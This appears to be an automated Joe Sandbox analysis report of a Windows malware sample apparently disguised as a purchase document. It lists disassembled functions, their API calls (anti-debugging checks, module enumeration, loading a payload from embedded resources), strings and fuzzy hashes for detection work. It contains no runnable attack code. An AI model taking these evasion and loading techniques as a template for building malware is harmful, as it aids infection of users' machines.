Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 6d0901c5a851615e28527e4beb28a8740ac354744e030dbbeda5711b60cfb90b
Instruction ID: b5e4208da862008e53740efd043c4439ae8ff575a47f249ff175a983b3f320e3
Opcode Fuzzy Hash: 6d0901c5a851615e28527e4beb28a8740ac354744e030dbbeda5711b60cfb90b
Instruction Fuzzy Hash: 4AD012B17513601DBE0076F41CC482A239C875452D3300EE0B02AC64B2E5A6881D5114

Function 02B1C474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02B3D10B,00000000,02B3D11E), ref: 02B1C47A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02B1C48B

Strings

GetDiskFreeSpaceExA, xrefs: 02B1C485
kernel32.dll, xrefs: 02B1C475

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 8b06ba101ac55f19801501316d27ae9d2d01183f77a5a4e16a036f98060aec71
Instruction ID: ac9472e1a6448b30edc75d30d8db5b240ac2be4fefd152415510da4d9d44e1e9
Opcode Fuzzy Hash: 8b06ba101ac55f19801501316d27ae9d2d01183f77a5a4e16a036f98060aec71
Instruction Fuzzy Hash: 43D05EA0EC83445EF600AAB2548263A2B98CB08350B8848E7F40247104E773E4108F5A

Function 02B1E1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B1E297
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B1E2B3
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B1E32A
VariantClear.OLEAUT32(?), ref: 02B1E353

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 5b190c14df617428032a2f44cba9ca7e7b247a1af6a815ce07d1fd8903bd5442
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 2E410A75A012299FCB66DB58CC94BC9B3BDEF49314F4041D5E948A7211DA34EF808FA4

Function 02B1AD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B1AD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B1AD7D
GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B1AD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B1AE2E

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: ca0e8f95d9a204321cf05a1a43cc9dbe938841dac204b9c77b1a3de21951f63c
Instruction ID: d58cfe81125ad10bfdf3ba6542c7014e81ca62ecfa7c7af2931d1908ae09dd76
Opcode Fuzzy Hash: ca0e8f95d9a204321cf05a1a43cc9dbe938841dac204b9c77b1a3de21951f63c
Instruction Fuzzy Hash: BB414971A012589FDB21EB68CD84BDAB7FDAB08340F9400EAE548E7245DB74AF84CF50

Function 02B1AD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B1AD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B1AD7D
GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B1AD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B1AE2E

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 79bdac5c566b234745e3af12ccfa1e7ea3f3ddda7ed48123e5c27b4f23f493b1
Instruction ID: 1074368ccee03c30cad020c43305fa14c04f6342f3ac3594c4c1881c073b42c8
Opcode Fuzzy Hash: 79bdac5c566b234745e3af12ccfa1e7ea3f3ddda7ed48123e5c27b4f23f493b1
Instruction Fuzzy Hash: 7D415A71A012589FDB21EB68CD84BDAB7FDAB08340F9400E6E648E7241DB74AF84CF50

Function 02B11C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaced1d7cb12c90a3f5fb177e5084d5a1e52c2b2e4256292f5dedc8702e22f98
Instruction ID: 95a2c0ca5b1a6ae30791099c0ebec8e30aef967f8a9290670022a8f0b22fa17b
Opcode Fuzzy Hash: aaced1d7cb12c90a3f5fb177e5084d5a1e52c2b2e4256292f5dedc8702e22f98
Instruction Fuzzy Hash: 2CA1F9777306040BD718AA7C9D803BDB3D6DBC5265F9882BED31DCB385EB68C9528650

Function 02B194EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02B195DA), ref: 02B19572
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02B195DA), ref: 02B19578

Strings

yyyy, xrefs: 02B1954D

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 5cf10a9f76e784836047e293daf1c1a45dde89d4bd5289fd47833940f1f94b8f
Instruction ID: 8676353fc7cd72329d1871b5d1e38ff6baba3b5ab980d0207943815eea3dd7c6
Opcode Fuzzy Hash: 5cf10a9f76e784836047e293daf1c1a45dde89d4bd5289fd47833940f1f94b8f
Instruction Fuzzy Hash: D2217C71A006989FDB10DFA8C891AAEB7B9EF09700F9104E5E905E7251DB30DE40CBA5

Function 02B28338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B283C2), ref: 02B283A4

Strings

FlushInstructionCache, xrefs: 02B28351
Kernel32, xrefs: 02B28383

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 784adca8a7e384750a369b37498409c999472911133d5b67b57caf007e2d1212
Instruction ID: 616b8a28569c6041a2362061019d9ee7c4397ed36f089c6be7e56f977986e096
Opcode Fuzzy Hash: 784adca8a7e384750a369b37498409c999472911133d5b67b57caf007e2d1212
Instruction Fuzzy Hash: F2016DB1654304AFEB00EFA4DD41F5A77EDE708B40FA184A0F908D7650DA74AD159A29

Function 02B2AF24 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2AF58
IsBadWritePtr.KERNEL32(?,00000004), ref: 02B2AF88
IsBadReadPtr.KERNEL32(?,00000008), ref: 02B2AFA7
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2AFB3

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction ID: 3db4d0fc2c1fb154ba514444d524e1075af158aa2dd4818251ed6f8d859da57b
Opcode Fuzzy Hash: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction Fuzzy Hash: EC2184B264072A9BDB10DF69CCC0BAE77A9EF44351F004591FD18D7384E738E9158AA4

Analysis Process: ymafvvdS.pifPID: 7996, Parent PID: 7608COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	1242
Total number of Limit Nodes:	27

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

!, xrefs: 004020CF
o, xrefs: 00402159
!, xrefs: 0040201A
v, xrefs: 0040212C
V, xrefs: 00402038
., xrefs: 00401B0A
6, xrefs: 004020C5
., xrefs: 0040201F
{, xrefs: 00401E3C
U, xrefs: 004020F5
4, xrefs: 00402136
4, xrefs: 00401B64
x, xrefs: 00401B78
", xrefs: 00401B0F
[, xrefs: 00402047
[, xrefs: 00401B37
v, xrefs: 00401B5A
x, xrefs: 0040214A
5, xrefs: 00402109
W, xrefs: 004020E6
o, xrefs: 00402097
), xrefs: 0040202E
E, xrefs: 00401E0F
x, xrefs: 00402088
x, xrefs: 00401E69
o, xrefs: 00401B8D
h, xrefs: 00401A6F
{, xrefs: 0040205B
%, xrefs: 004020FA
*, xrefs: 00401A1F
0, xrefs: 00401BBD
4, xrefs: 00402074
8, xrefs: 00401BA9
V, xrefs: 00401E19
', xrefs: 00402006
*, xrefs: 004020E1
{, xrefs: 00401B4B
_._, xrefs: 00402257
___, xrefs: 0040227D
W, xrefs: 00401B23
W, xrefs: 00402033
D, xrefs: 00401DFB
:, xrefs: 00401B28
v, xrefs: 00401E4B
W, xrefs: 00401B14
{, xrefs: 0040211D
', xrefs: 00401AF6
!, xrefs: 00401B1E
v, xrefs: 0040206A

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Function 0047D594 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2fee5558319bb7b77599fdacabd9ee24db5531fb8add38223017fc8891590f
Instruction ID: bf1d7cff2fc5b19e5de1a229c4e7eaa26ad437be02c7fe772a9c732b09444fc0
Opcode Fuzzy Hash: ab2fee5558319bb7b77599fdacabd9ee24db5531fb8add38223017fc8891590f
Instruction Fuzzy Hash: CE31E722D39284BBCF329A685804AF77B749FA2779F1DC167E44C4B392D12D9C44C6AC

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00000000), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
